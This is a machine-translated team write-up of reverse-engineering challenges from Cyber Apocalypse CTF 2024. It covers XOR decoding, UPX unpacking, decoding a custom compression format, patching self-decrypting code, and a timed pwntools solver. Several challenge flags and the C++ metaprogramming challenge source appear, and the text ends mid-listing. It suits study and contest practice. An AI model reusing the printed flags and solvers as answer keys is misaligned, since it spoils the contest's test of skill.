All Articles

Cyber Apocalypse CTF 2024 Writeup

This page has been machine-translated from the original page.

We participated in Cyber Apocalypse CTF 2024, which started on 3/9, as team 0nePadding and placed 120th.

It was a frustrating round as we wasted time on careless mistakes, but as usual, I’ll be writing up the solutions.

image-20240314225751732

Table of Contents

BoxCutter(Rev)

You’ve received a supply of valuable food and medicine from a generous sponsor. There’s just one problem - the box is made of solid steel! Luckily, there’s a dumb automated defense robot which you may be able to trick into opening the box for you - it’s programmed to only attack things with the correct label.

Decompiling the ELF file provided as the challenge binary with BinaryNinja yielded the following result.

image-20240310131641163

Simply XORing the hardcoded byte array reveals the flag.

data = b"\x7f\x63\x75\x4c\x43\x45\x03\x54\x06\x59\x50\x68\x43\x5f\x04\x68\x54\x03\x5b\x5b\x02\x4a\x37"
for d in data:
    print(chr(d^0x37),end="")

# HTB{tr4c1ng_th3_c4ll5}

PackedAway(Rev)

To escape the arena’s latest trap, you’ll need to get into a secure vault - and quick! There’s a password prompt waiting for you in front of the door however - can you unpack the password quick and get to safety?

Surface-level analysis of the ELF file provided as the challenge binary revealed that it was a UPX-packed binary.

Challenges involving packed ELF binaries seem somewhat uncommon.

image-20240310133222034

I tried to unpack it with the upx command, but it failed because the version was too old.

$ upx -d packed -o unpacked
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: packed: CantUnpackException: need a newer version of UPX

Unpacked 0 files.

So I downloaded the latest version of upx from the following link and unpacked it.

Reference: GitHub - upx/upx: UPX - the Ultimate Packer for eXecutables

image-20240310133315305

Running strings on the unpacked binary revealed the flag.

image-20240310133506576

LootStash(Rev)

A giant stash of powerful weapons and gear have been dropped into the arena - but there’s one item you have in mind. Can you filter through the stack to get to the one thing you really need?

Decompiling the file provided as the challenge binary with BinaryNinja yielded the following result.

image-20240310134211184

It appears to be a program that retrieves strings corresponding to randomly generated values from the .data section.

image-20240310134253004

Since the flag was embedded in plaintext, it could be simply retrieved with strings.

image-20240310134147706

Crushing(Rev)

You managed to intercept a message between two event organizers. Unfortunately, it’s been compressed with their proprietary message transfer format. Luckily, they’re gamemakers first and programmers second - can you break their encoding?

The decompiled result of the challenge binary’s main function was as follows.

image-20240310142557582

Here, after performing some operation with the addchartomap function on the 0x7f8-byte region allocated with memset, the serializeand_output function is executed.

addcharto_map Function

This function receives as arguments the pointer to the 0x7f8-byte region allocated with memset, a single character value read from stdin via getchar, and an integer value used as an iterator.

The processing of this function was somewhat tricky, but I believe the implementation is as follows.

  1. Add the left-shifted value of the received char to the pointer of the byte region received as the first argument
  2. Allocate a 0x10-byte region with malloc, assigning i to the 0th element and 0 to the 1st element
  3. If the value pointed to by the address obtained in [1.] is 0, copy the pointer to the byte region created in [2.] to the byte region address obtained in [1.]
  4. If the value pointed to by the address obtained in [1.] is not 0, traverse the addresses one by one until an address containing 0 is found, then copy the pointer to the byte region created in [2.] to that address

image-20240310143018412

For example, if the input abc is given, first with a(0x61) and i=0, the value at the address obtained by adding (0x61<<3) + 0 = 0x308 + 0 to the buf pointer is stored in unk.

Since the value of unk is 0, for the first character, i=0 is stored at the address buf+0x308.

The second character is b(0x62), so the value stored in unk is the value at address buf+0x310.

As shown above, the operation when different characters are input is straightforward, but it gets slightly complicated when the same character is input.

For example, if multiple a characters are input, the address storing the index of the first character is stored in the buf+0x308 region.

For the second character, the address storing the index of the second character is stored at the address 8 bytes after the address pointed to by the pointer stored at buf+0x308.

From the third character onwards, addresses are stored hierarchically in the same manner.

serializeandoutput Function

Once the mapping of input characters to their corresponding indices is complete, the serializeandoutput function is called.

This function traverses the ASCII character mapping region and writes values 8 bytes at a time using fwrite.

image-20240310162837792

The first line obtains the offset corresponding to a specific ASCII character.

void* rax_4 = ((char*)map + (((int64_t)i) << 3));

The next code traverses the corresponding mapping region and obtains the number of values written as an integer.

int64_t buf = list_len(rax_4);

Then, the stored character count is written in 8-byte units.

The following final code retrieves the indices stored in the mapping region and writes them every 8 bytes.

for (void* buf_1 = *(uint64_t*)rax_4; buf_1 != 0; buf_1 = *(uint64_t*)  ((char*)buf_1 + 8))
{
fwrite(buf_1, 8, 1, __TMC_END__);
}

In other words, immediately after the listlen region, a region of (number of elements obtained by listlen) × 8 bytes follows consecutively.

Solve

Using the information gathered so far and the message.txt.cz provided as a challenge file, we create a solver.

with open("message.txt.cz","rb") as f:
    mapped_data = f.read()

seek_index = 0
flag = ["" for i in range(1000)]

for i in range(0xfe):
    bytes_data = int.from_bytes(mapped_data[seek_index:seek_index+8],'little')
    seek_index += 8

    if bytes_data > 0:
        for j in range(bytes_data):
            index = int.from_bytes(mapped_data[seek_index:seek_index+8],'little')
            flag[index] = chr(i)
            seek_index += 8        

print("".join(flag))

Decompressing the file and expanding the original text revealed the following chat log, and we were able to obtain the flag.

image-20240310175932041

FollowThePath(Rev)

A dark tunnel has been placed in the arena. Within it is a powerful cache of weapons, but reaching them won’t be easy. You must navigate the depths, barely able to see the ground beyond your feet…

The result of decompiling the file provided as the challenge binary with BinaryNinja was as follows.

We can see that the main function’s code is corrupted partway through.

image-20240310181623208

Upon further analysis, it appears that the main function first checks whether the first character of the input is H, then XOR-decodes a 0x39-byte code region with the key 0xde.

When I tried replacing this code section with its XOR-decoded version, I found that it verifies whether the second character of the input is T, followed by further decryption of subsequent code regions.

image-20240310182934790

image-20240310183501884

I initially thought about quickly solving it with dynamic analysis, but since anti-debugging mechanisms were heavily implemented and it clearly wasn’t the intended solution, I abandoned the debugger approach early on.

I then tried to obtain the flag through scripting, but struggled with the implementation and ultimately restored the binary manually. (Very exhausting.)

The following code was ultimately used to generate a binary with the fully restored flag verification sections.

with open("chall.exe","rb") as f:
    data = bytearray(f.read())

for i in range(0x39):
    data[0x439+i] = data[0x439+i] ^ 0xde
    data[0x472+i] = data[0x472+i] ^ 0xeb
    data[0x4ab+i] = data[0x4ab+i] ^ 0x62
    data[0x4e4+i] = data[0x4e4+i] ^ 0x94
    data[0x51d+i] = data[0x51d+i] ^ 0x36
    data[0x556+i] = data[0x556+i] ^ 0xc9
    data[0x58f+i] = data[0x58f+i] ^ 0x95
    data[0x5c8+i] = data[0x5c8+i] ^ 0x1c
    data[0x601+i] = data[0x601+i] ^ 0x53
    data[0x63a+i] = data[0x63a+i] ^ 0xa6
    data[0x673+i] = data[0x673+i] ^ 0x3
    data[0x6ac+i] = data[0x6ac+i] ^ 0xe3
    data[0x6e5+i] = data[0x6e5+i] ^ 0xff
    data[0x71e+i] = data[0x71e+i] ^ 0xc8
    data[0x757+i] = data[0x757+i] ^ 0x80
    data[0x790+i] = data[0x790+i] ^ 0xb0
    data[0x7c9+i] = data[0x7c9+i] ^ 0x3e
    data[0x802+i] = data[0x802+i] ^ 0xc
    data[0x83b+i] = data[0x83b+i] ^ 0xd5
    data[0x874+i] = data[0x874+i] ^ 0xc
    data[0x8ad+i] = data[0x8ad+i] ^ 0x75
    data[0x8e6+i] = data[0x8e6+i] ^ 0xb0
    data[0x91f+i] = data[0x91f+i] ^ 0x23
    data[0x958+i] = data[0x958+i] ^ 0xdb
    data[0x991+i] = data[0x991+i] ^ 0xd7
    data[0x9ca+i] = data[0x9ca+i] ^ 0xc1
    data[0xa03+i] = data[0xa03+i] ^ 0x98
    data[0xa3c+i] = data[0xa3c+i] ^ 0x17
    data[0xa75+i] = data[0xa75+i] ^ 0x8b
    data[0xaae+i] = data[0xaae+i] ^ 0x95
    data[0xae7+i] = data[0xae7+i] ^ 0x22
    data[0xb20+i] = data[0xb20+i] ^ 0xa1
    data[0xb59+i] = data[0xb59+i] ^ 0xf2
    # (next_w ^ 4) == 0x5b (_)
    data[0xb92+i] = data[0xb92+i] ^ 0x3c
    data[0xbcb+i] = data[0xbcb+i] ^ 0x46
    data[0xc04+i] = data[0xc04+i] ^ 0xd2
    data[0xc3d+i] = data[0xc3d+i] ^ 0xf
    data[0xc76+i] = data[0xc76+i] ^ 0x6
    data[0xcaf+i] = data[0xcaf+i] ^ 0x5b
    data[0xce8+i] = data[0xce8+i] ^ 0xd9
    data[0xd21+i] = data[0xd21+i] ^ 0xc4

with open("patched.exe", "wb") as f:
    f.write(data)

Decompiling this and extracting the flag verification sections, I was able to determine that HTB{s3lF_d3CRYpt10N-1s_k1nd4_c00l_i5nt_1t} is the correct flag.

QuickScan(Rev)

In order to escape this alive, you must carefully observe and analyze your opponents. Learn every strategy and technique in their arsenal, and you stand a chance of outwitting them. Just do it fast, before they do the same to you…

No challenge binary was provided; only the address information of a remote server to connect to via nc was given.

Upon connecting to this server, a Base64-encoded small ELF file is displayed, and you are prompted to enter random byte sequences.

It appears that you need to analyze all 128 binaries within 60 seconds and respond with the byte sequences embedded within them.

The actual answer byte sequences correspond to the addresses accessed at the following locations in the Base64-decoded ELF file.

image-20240311223822654

The disassembly result was as follows.

image-20240311223834227

Initially, I created a solver using pwntools’ ELF module to disassemble all the binaries and retrieve the answer byte sequences, but the overhead of loading files into pwntools’ ELF module was too large, making it impossible to analyze all 128 binaries within 60 seconds.

So instead of saving the Base64-decoded data as files, I implemented an ELF parser to directly extract the byte sequences from the data in memory, and created the following solver.

from pwn import *
import base64
import binascii
import struct

CONTEXT = "error"
context.log_level = CONTEXT

server_address = "94.237.63.46"
server_port = 34606
conn = remote(server_address, server_port)

for i in range(129):
    response = conn.recvline_startswith(b"ELF")
    base64_binary = response.decode()[6:]
    binary_data = base64.b64decode(base64_binary)

    # with open("second_binary","rb") as f:
    #     binary_data = f.read()

    entry = binary_data.find(b"\x48\x83\xec\x18\x48\x8d\x35")
    target = struct.unpack('<i',binary_data[entry+7:entry+11])[0] + (entry+11)
    print(hex(target))
    print(binary_data[target:target+0x18])
    binary = binascii.b2a_hex(binary_data[target:target+0x18])
    print(binary)

    conn.recvuntil(b"Bytes? ")
    conn.sendline(binary)
    print(i)

conn.interactive()
conn.close()

Running this allowed me to analyze all the binaries within the time limit and obtain the correct flag.

image-20240311223750061

Metagaming(Rev)

You come across an enemy faction, who have banded together and gathered their resources. You’ll need to outwit them, thinking outside the box - can you beat them before they even begin to run?

This was a challenge that utilizes C++20’s Template Metaprogramming mechanism.

This appears to be a mechanism that allows setting compile-time state and executing arbitrary processing.

Reference: Revisiting Stateful Metaprogramming in C++20 | Reece’s Pages

Such code is evaluated at compile time and is not compiled into the binary, which makes it extremely difficult to debug.

The following is the source code provided as the challenge, with some annotation comments added.

// Use MSVC or `g++ -std=c++20`

#include <cstdint>
#include <array>
#include <iostream>
#include <numeric>
#include <type_traits>
#include <algorithm>
#include <variant>

#ifndef __noop
#define __noop
#endif

// constexpr はコンパイル時に関数を評価し、コンパイル時定数として使用するための記法
constexpr uint32_t rotr(const uint32_t value, const int shift) {
    return std::rotr(value, shift);
}

constexpr uint32_t rotl(const uint32_t value, const int shift) {
    return std::rotl(value, shift);
}


// std::is_same の手動実装
// static_assert(is_same_v<int, int>, "Types are not the same."); // コンパイル成功
// static_assert(is_same_v<int, float>, "Types are not the same."); // コンパイルエラー

// 2 つの型が異なる場合は False を返す
template<class, class> constexpr bool is_same_v = false;
// 2 つの型が同じ型の場合は True を返す
template<class Ty> constexpr bool is_same_v<Ty, Ty> = true;


// テンプレートメタプログラミングで審議地を使用するための定義
struct true_t {};
struct false_t {};

// bool_t という concept を定義している
// bool_t コンセプトは、指定された型 Ty が true_t または false_t と同じかどうかをチェック
template<class Ty> concept bool_t = is_same_v<Ty, true_t> || is_same_v<Ty, false_t>;

// テンプレートパラメータ <bool Val> に基づき、型エイリアス T を定義する
// Val が false の時、T は false_t となり、true の場合は true_t になる
template<bool Val> 
struct to_bool {
    using T = false_t;
};
template<>
struct to_bool<true> {
    using T = true_t;
};

// to_bool_t は、to_bool テンプレートから T 型を直接取り出すエイリアステンプレート(false_t または true_t を得る)
template<bool Val> using to_bool_t = typename to_bool<Val>::T;

// Ty が true_t に等しいかどうかを検証する
template<bool_t Ty> constexpr bool from_bool_v = is_same_v<Ty, true_t>;

// コンパイル時定数として、任意の文字を返す value 関数を含む char_value_t を定義する
// constexpr auto ch = char_value_t<'A'>::value();
// static_assert(ch == 'A', "The character must be A");
template<char C>
struct char_value_t {
    [[nodiscard]] constexpr static char value() {
        return C;
    }
};

// char_value_t を使用して、各文字をコンパイル時定数として表現している
struct a : char_value_t<'a'> {};
struct b : char_value_t<'b'> {};
struct c : char_value_t<'c'> {};
struct d : char_value_t<'d'> {};
struct e : char_value_t<'e'> {};
struct f : char_value_t<'f'> {};
struct g : char_value_t<'g'> {};
struct h : char_value_t<'h'> {};
struct i : char_value_t<'i'> {};
struct j : char_value_t<'j'> {};
struct k : char_value_t<'k'> {};
struct l : char_value_t<'l'> {};
struct m : char_value_t<'m'> {};
struct n : char_value_t<'n'> {};
struct o : char_value_t<'o'> {};
struct p : char_value_t<'p'> {};
struct q : char_value_t<'q'> {};
struct r : char_value_t<'r'> {};
struct s : char_value_t<'s'> {};
struct t : char_value_t<'t'> {};
struct u : char_value_t<'u'> {};
struct v : char_value_t<'v'> {};
struct w : char_value_t<'w'> {};
struct x : char_value_t<'x'> {};
struct y : char_value_t<'y'> {};
struct z : char_value_t<'z'> {};
struct A : char_value_t<'A'> {};
struct B : char_value_t<'B'> {};
struct C : char_value_t<'C'> {};
struct D : char_value_t<'D'> {};
struct E : char_value_t<'E'> {};
struct F : char_value_t<'F'> {};
struct G : char_value_t<'G'> {};
struct H : char_value_t<'H'> {};
struct I : char_value_t<'I'> {};
struct J : char_value_t<'J'> {};
struct K : char_value_t<'K'> {};
struct L : char_value_t<'L'> {};
struct M : char_value_t<'M'> {};
struct N : char_value_t<'N'> {};
struct O : char_value_t<'O'> {};
struct P : char_value_t<'P'> {};
struct Q : char_value_t<'Q'> {};
struct R : char_value_t<'R'> {};
struct S : char_value_t<'S'> {};
struct T : char_value_t<'T'> {};
struct U : char_value_t<'U'> {};
struct V : char_value_t<'V'> {};
struct W : char_value_t<'W'> {};
struct X : char_value_t<'X'> {};
struct Y : char_value_t<'Y'> {};
struct Z : char_value_t<'Z'> {};
struct num_1 : char_value_t<'1'> {};
struct num_2 : char_value_t<'2'> {};
struct num_3 : char_value_t<'3'> {};
struct num_4 : char_value_t<'4'> {};
struct num_5 : char_value_t<'5'> {};
struct num_6 : char_value_t<'6'> {};
struct num_7 : char_value_t<'7'> {};
struct num_8 : char_value_t<'8'> {};
struct num_9 : char_value_t<'9'> {};
struct num_0 : char_value_t<'0'> {};
// SOMEWHAT SPECIAL CHARACTERS
struct bracket_open : char_value_t<'{'> {};
struct bracket_close : char_value_t<'}'> {};
struct underscore : char_value_t<'_'> {};


// 型 Ty が、リスト内のいずれかと一致するかをチェックするコンセプトを定義している
// std::disjunction_v<std::is_same<Ty, Types>...> は OR 評価を行う
// つまり、Ty がリストに 1 つ以上含まれていれば、is_any_of_t は true になる
template<class Ty, class... Types> concept is_any_of_t = std::disjunction_v<std::is_same<Ty, Types>...>;

// any_legit_char_t は Ty がこの文字種のいずれかに該当するかを調べることができる
template<typename Ty> 
concept any_legit_char_t = is_any_of_t<Ty, a, b, c, d, e, f, g, h, i, j, k, l, m, n,
                                       o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D,
                                       E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T,
                                       U, V, W, X, Y, Z, num_1, num_2, num_3, num_4, num_5,
                                       num_6, num_7, num_8, num_9, num_0, bracket_open,
                                       bracket_close, underscore>;

// size() は flag_t に格納されている values の数を返却する(sizeof)
// at は、values_values に values を展開したのち、指定のインデックスで取得した 値を返却する
template<class... values>
struct flag_t {
    [[nodiscard]] static constexpr size_t size() {
        return sizeof...(values);
    }

    template<typename Ty = char>
    [[nodiscard]] static constexpr Ty at(const std::size_t i) {
        constexpr char values_values[] = {values::value()...};
        return static_cast<Ty>(values_values[i]);
    }
};


// コンパイル時に定義した固定サイズの文字列を表す
// constexpr cxstring<6> myString("Hello");
template<size_t Footprint>
struct cxstring {
    char data[Footprint]{};
    [[nodiscard]] constexpr size_t size() const {
        return Footprint - 1;
    }
    constexpr /* implicit */ cxstring(const char (&init)[Footprint]) {// NOLINT
        std::copy_n(init, Footprint, data);
    }
};


// コンパイル時に文字列情報を格納する
// 使用例
// 
// constexpr cxstring<6> myStr("Hello");
// using MyStrType = type_string<myStr>;
// 
// auto strData = MyStrType::data(); // "Hello"を返す
// auto strSize = MyStrType::size(); // 5を返す
// template<auto str>
struct type_string {
    [[nodiscard]] static constexpr const char *data() {
        return str.data;
    }
    [[nodiscard]] static constexpr size_t size() {
        return str.size();
    }
};


// 任意の型 P のデフォルトコンストラクタを使用してインスタンスを返す
template<class P> auto parse_flag(P) -> P { return {}; }

// Chr は現在処理中の文字、Rest は残りの文字列、Bs は現在までに処理された文字列
template<char Chr, char... Rest, class... Bs>
auto parse_flag(flag_t<Bs...>) -> decltype(parse_flag<Rest...>(flag_t<Bs..., char_value_t<Chr>>{})) { return {}; }


// constexpr auto myFlag = make_flag([]{ return "Hello, World!"; }, std::make_index_sequence<13>{});
template<class lambda_t, size_t... I>
constexpr auto make_flag(lambda_t lambda [[maybe_unused]], std::index_sequence<I...>) {
    return decltype(parse_flag<lambda()[I]...>(flag_t<>{})){};
}

struct insn_t {
    uint32_t opcode = 0;
    uint32_t op0 = 0;
    uint32_t op1 = 0;
};

template<typename = std::monostate>
concept always_false_v = false;

template<insn_t>
concept always_false_insn_v = false;

template<flag_t Flag, insn_t... Instructions>
struct program_t {
    using R = std::array<uint32_t, 15>;

    template<insn_t Insn>
    static constexpr void execute_one(R &regs) {
        if constexpr (Insn.opcode == 0) {
            regs[Insn.op0] = Flag.at(Insn.op1);
        } else if constexpr (Insn.opcode == 1) {
            regs[Insn.op0] = Insn.op1;
        } else if constexpr (Insn.opcode == 2) {
            regs[Insn.op0] ^= Insn.op1;
        } else if constexpr (Insn.opcode == 3) {
            regs[Insn.op0] ^= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 4) {
            regs[Insn.op0] |= Insn.op1;
        } else if constexpr (Insn.opcode == 5) {
            regs[Insn.op0] |= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 6) {
            regs[Insn.op0] &= Insn.op1;
        } else if constexpr (Insn.opcode == 7) {
            regs[Insn.op0] &= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 8) {
            regs[Insn.op0] += Insn.op1;
        } else if constexpr (Insn.opcode == 9) {
            regs[Insn.op0] += regs[Insn.op1];
        } else if constexpr (Insn.opcode == 10) {
            regs[Insn.op0] -= Insn.op1;
        } else if constexpr (Insn.opcode == 11) {
            regs[Insn.op0] -= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 12) {
            regs[Insn.op0] *= Insn.op1;
        } else if constexpr (Insn.opcode == 13) {
            regs[Insn.op0] *= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 14) {
            __noop;
        } else if constexpr (Insn.opcode == 15) {
            __noop;
            __noop;
        } else if constexpr (Insn.opcode == 16) {
            regs[Insn.op0] = rotr(regs[Insn.op0], Insn.op1);
        } else if constexpr (Insn.opcode == 17) {
            regs[Insn.op0] = rotr(regs[Insn.op0], regs[Insn.op1]);
        } else if constexpr (Insn.opcode == 18) {
            regs[Insn.op0] = rotl(regs[Insn.op0], Insn.op1);
        } else if constexpr (Insn.opcode == 19) {
            regs[Insn.op0] = rotl(regs[Insn.op0], regs[Insn.op1]);
        } else if constexpr (Insn.opcode == 20) {
            regs[Insn.op0] = regs[Insn.op1];
        } else if constexpr (Insn.opcode == 21) {
            regs[Insn.op0] = 0;
        } else if constexpr (Insn.opcode == 22) {
            regs[Insn.op0] >>= Insn.op1;
        } else if constexpr (Insn.opcode == 23) {
            regs[Insn.op0] >>= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 24) {
            regs[Insn.op0] <<= Insn.op1;
        } else if constexpr (Insn.opcode == 25) {
            regs[Insn.op0] <<= regs[Insn.op1];
        } else {
            static_assert(always_false_insn_v<Insn>);
        }
    }

    template<std::size_t... Is>
    static constexpr void execute_impl(R &regs, std::index_sequence<Is...>) {
        (execute_one<Instructions>(regs), ...);
    }

    static constexpr void execute(R &regs) {
        execute_impl(regs, std::make_index_sequence<sizeof...(Instructions)>{});
    }

    static constexpr R registers = []() -> R {
        R arr = {};
        execute(arr);
        return arr;
    }();
};

int main() {
    /// Modify this text              vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
    [[maybe_unused]] auto flag = "HTB{___________________________________}"_flag;
    /// Modify this text              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    static_assert(decltype(flag)::size() == 40);

    using program = program_t<flag, insn_t(12, 13, 10), insn_t(21, 0, 0), insn_t(0, 13, 13), insn_t(0, 14, 0), insn_t(15, 11, 12), insn_t(24, 14, 0), insn_t(5, 0, 14), insn_t(0, 14, 1), insn_t(7, 11, 11), insn_t(24, 14, 8), insn_t(5, 0, 14), insn_t(0, 14, 2), insn_t(2, 10, 11), insn_t(24, 14, 16), insn_t(18, 12, 11), insn_t(5, 0, 14), insn_t(0, 14, 3), insn_t(0, 11, 11), insn_t(24, 14, 24), insn_t(13, 10, 10), insn_t(5, 0, 14), insn_t(2, 11, 13), insn_t(21, 1, 0), insn_t(0, 14, 4), insn_t(24, 14, 0), insn_t(5, 1, 14), insn_t(6, 11, 12), insn_t(0, 14, 5), insn_t(8, 10, 10), insn_t(24, 14, 8), insn_t(11, 12, 11), insn_t(5, 1, 14), insn_t(0, 14, 6), insn_t(0, 12, 10), insn_t(24, 14, 16), insn_t(9, 10, 13), insn_t(5, 1, 14), insn_t(0, 14, 7), insn_t(13, 12, 12), insn_t(24, 14, 24), insn_t(15, 10, 12), insn_t(5, 1, 14), insn_t(21, 2, 0), insn_t(20, 13, 13), insn_t(0, 14, 8), insn_t(24, 14, 0), insn_t(19, 10, 11), insn_t(5, 2, 14), insn_t(6, 12, 10), insn_t(0, 14, 9), insn_t(8, 11, 11), insn_t(24, 14, 8), insn_t(5, 2, 14), insn_t(0, 14, 10), insn_t(4, 11, 12), insn_t(24, 14, 16), insn_t(5, 2, 14), insn_t(0, 14, 11), insn_t(24, 14, 24), insn_t(4, 13, 12), insn_t(5, 2, 14), insn_t(21, 3, 0), insn_t(14, 10, 12), insn_t(0, 14, 12), insn_t(13, 10, 11), insn_t(24, 14, 0), insn_t(16, 10, 10), insn_t(5, 3, 14), insn_t(5, 11, 12), insn_t(0, 14, 13), insn_t(12, 10, 13), insn_t(24, 14, 8), insn_t(2, 10, 13), insn_t(5, 3, 14), insn_t(20, 11, 11), insn_t(0, 14, 14), insn_t(24, 14, 16), insn_t(18, 13, 11), insn_t(5, 3, 14), insn_t(6, 11, 13), insn_t(0, 14, 15), insn_t(24, 14, 24), insn_t(4, 11, 10), insn_t(5, 3, 14), insn_t(21, 4, 0), insn_t(15, 13, 11), insn_t(0, 14, 16), insn_t(6, 10, 10), insn_t(24, 14, 0), insn_t(14, 10, 12), insn_t(5, 4, 14), insn_t(0, 14, 17), insn_t(12, 13, 13), insn_t(24, 14, 8), insn_t(19, 11, 10), insn_t(5, 4, 14), insn_t(0, 14, 18), insn_t(17, 13, 12), insn_t(24, 14, 16), insn_t(5, 4, 14), insn_t(0, 14, 19), insn_t(24, 14, 24), insn_t(21, 12, 10), insn_t(5, 4, 14), insn_t(13, 13, 10), insn_t(21, 5, 0), insn_t(0, 14, 20), insn_t(19, 10, 13), insn_t(24, 14, 0), insn_t(5, 5, 14), insn_t(0, 14, 21), insn_t(24, 14, 8), insn_t(8, 13, 13), insn_t(5, 5, 14), insn_t(0, 14, 22), insn_t(16, 13, 11), insn_t(24, 14, 16), insn_t(10, 10, 13), insn_t(5, 5, 14), insn_t(7, 10, 12), insn_t(0, 14, 23), insn_t(19, 13, 10), insn_t(24, 14, 24), insn_t(5, 5, 14), insn_t(17, 12, 10), insn_t(21, 6, 0), insn_t(16, 11, 10), insn_t(0, 14, 24), insn_t(24, 14, 0), insn_t(10, 11, 10), insn_t(5, 6, 14), insn_t(0, 14, 25), insn_t(24, 14, 8), insn_t(7, 10, 12), insn_t(5, 6, 14), insn_t(0, 14, 26), insn_t(16, 12, 11), insn_t(24, 14, 16), insn_t(3, 11, 10), insn_t(5, 6, 14), insn_t(15, 11, 13), insn_t(0, 14, 27), insn_t(4, 12, 13), insn_t(24, 14, 24), insn_t(5, 6, 14), insn_t(14, 11, 13), insn_t(21, 7, 0), insn_t(0, 14, 28), insn_t(21, 13, 11), insn_t(24, 14, 0), insn_t(7, 12, 11), insn_t(5, 7, 14), insn_t(17, 11, 10), insn_t(0, 14, 29), insn_t(24, 14, 8), insn_t(5, 7, 14), insn_t(0, 14, 30), insn_t(12, 10, 10), insn_t(24, 14, 16), insn_t(5, 7, 14), insn_t(0, 14, 31), insn_t(20, 10, 10), insn_t(24, 14, 24), insn_t(5, 7, 14), insn_t(21, 8, 0), insn_t(18, 10, 12), insn_t(0, 14, 32), insn_t(9, 11, 11), insn_t(24, 14, 0), insn_t(21, 12, 11), insn_t(5, 8, 14), insn_t(0, 14, 33), insn_t(24, 14, 8), insn_t(19, 10, 13), insn_t(5, 8, 14), insn_t(8, 12, 13), insn_t(0, 14, 34), insn_t(24, 14, 16), insn_t(5, 8, 14), insn_t(8, 10, 10), insn_t(0, 14, 35), insn_t(24, 14, 24), insn_t(21, 13, 10), insn_t(5, 8, 14), insn_t(0, 12, 10), insn_t(21, 9, 0), insn_t(0, 14, 36), insn_t(24, 14, 0), insn_t(5, 9, 14), insn_t(17, 11, 11), insn_t(0, 14, 37), insn_t(14, 10, 13), insn_t(24, 14, 8), insn_t(5, 9, 14), insn_t(4, 10, 11), insn_t(0, 14, 38), insn_t(13, 11, 13), insn_t(24, 14, 16), insn_t(5, 9, 14), insn_t(0, 14, 39), insn_t(10, 11, 10), insn_t(24, 14, 24), insn_t(20, 13, 13), insn_t(5, 9, 14), insn_t(6, 12, 11), insn_t(21, 14, 0), insn_t(8, 0, 2769503260), insn_t(10, 0, 997841014), insn_t(19, 12, 11), insn_t(2, 0, 4065997671), insn_t(5, 13, 11), insn_t(8, 0, 690011675), insn_t(15, 11, 11), insn_t(8, 0, 540576667), insn_t(2, 0, 1618285201), insn_t(8, 0, 1123989331), insn_t(8, 0, 1914950564), insn_t(8, 0, 4213669998), insn_t(21, 13, 11), insn_t(8, 0, 1529621790), insn_t(10, 0, 865446746), insn_t(2, 10, 11), insn_t(8, 0, 449019059), insn_t(16, 13, 11), insn_t(8, 0, 906976959), insn_t(6, 10, 10), insn_t(8, 0, 892028723), insn_t(10, 0, 1040131328), insn_t(2, 0, 3854135066), insn_t(2, 0, 4133925041), insn_t(2, 0, 1738396966), insn_t(2, 12, 12), insn_t(8, 0, 550277338), insn_t(10, 0, 1043160697), insn_t(2, 1, 1176768057), insn_t(10, 1, 2368952475), insn_t(8, 12, 11), insn_t(2, 1, 2826144967), insn_t(8, 1, 1275301297), insn_t(10, 1, 2955899422), insn_t(2, 1, 2241699318), insn_t(12, 11, 10), insn_t(8, 1, 537794314), insn_t(11, 13, 10), insn_t(8, 1, 473021534), insn_t(17, 12, 13), insn_t(8, 1, 2381227371), insn_t(10, 1, 3973380876), insn_t(10, 1, 1728990628), insn_t(6, 11, 13), insn_t(8, 1, 2974252696), insn_t(0, 11, 11), insn_t(8, 1, 1912236055), insn_t(2, 1, 3620744853), insn_t(3, 10, 13), insn_t(2, 1, 2628426447), insn_t(11, 13, 12), insn_t(10, 1, 486914414), insn_t(16, 11, 12), insn_t(10, 1, 1187047173), insn_t(14, 12, 11), insn_t(2, 2, 3103274804), insn_t(13, 10, 10), insn_t(8, 2, 3320200805), insn_t(8, 2, 3846589389), insn_t(1, 13, 13), insn_t(2, 2, 2724573159), insn_t(10, 2, 1483327425), insn_t(2, 2, 1957985324), insn_t(14, 13, 12), insn_t(10, 2, 1467602691), insn_t(8, 2, 3142557962), insn_t(2, 13, 12), insn_t(2, 2, 2525769395), insn_t(8, 2, 3681119483), insn_t(8, 12, 11), insn_t(10, 2, 1041439413), insn_t(10, 2, 1042206298), insn_t(2, 2, 527001246), insn_t(20, 10, 13), insn_t(10, 2, 855860613), insn_t(8, 10, 10), insn_t(8, 2, 1865979270), insn_t(1, 13, 10), insn_t(8, 2, 2752636085), insn_t(2, 2, 1389650363), insn_t(10, 2, 2721642985), insn_t(18, 10, 11), insn_t(8, 2, 3276518041), insn_t(15, 10, 10), insn_t(2, 2, 1965130376), insn_t(2, 3, 3557111558), insn_t(2, 3, 3031574352), insn_t(16, 12, 10), insn_t(10, 3, 4226755821), insn_t(8, 3, 2624879637), insn_t(8, 3, 1381275708), insn_t(2, 3, 3310620882), insn_t(2, 3, 2475591380), insn_t(8, 3, 405408383), insn_t(2, 3, 2291319543), insn_t(0, 12, 12), insn_t(8, 3, 4144538489), insn_t(2, 3, 3878256896), insn_t(6, 11, 10), insn_t(10, 3, 2243529248), insn_t(10, 3, 561931268), insn_t(11, 11, 12), insn_t(10, 3, 3076955709), insn_t(18, 12, 13), insn_t(8, 3, 2019584073), insn_t(10, 13, 12), insn_t(8, 3, 1712479912), insn_t(18, 11, 11), insn_t(2, 3, 2804447380), insn_t(17, 10, 10), insn_t(10, 3, 2957126100), insn_t(18, 13, 13), insn_t(8, 3, 1368187437), insn_t(17, 10, 12), insn_t(8, 3, 3586129298), insn_t(10, 4, 1229526732), insn_t(19, 11, 11), insn_t(10, 4, 2759768797), insn_t(1, 10, 13), insn_t(2, 4, 2112449396), insn_t(10, 4, 1212917601), insn_t(2, 4, 1524771736), insn_t(8, 4, 3146530277), insn_t(2, 4, 2997906889), insn_t(16, 12, 10), insn_t(8, 4, 4135691751), 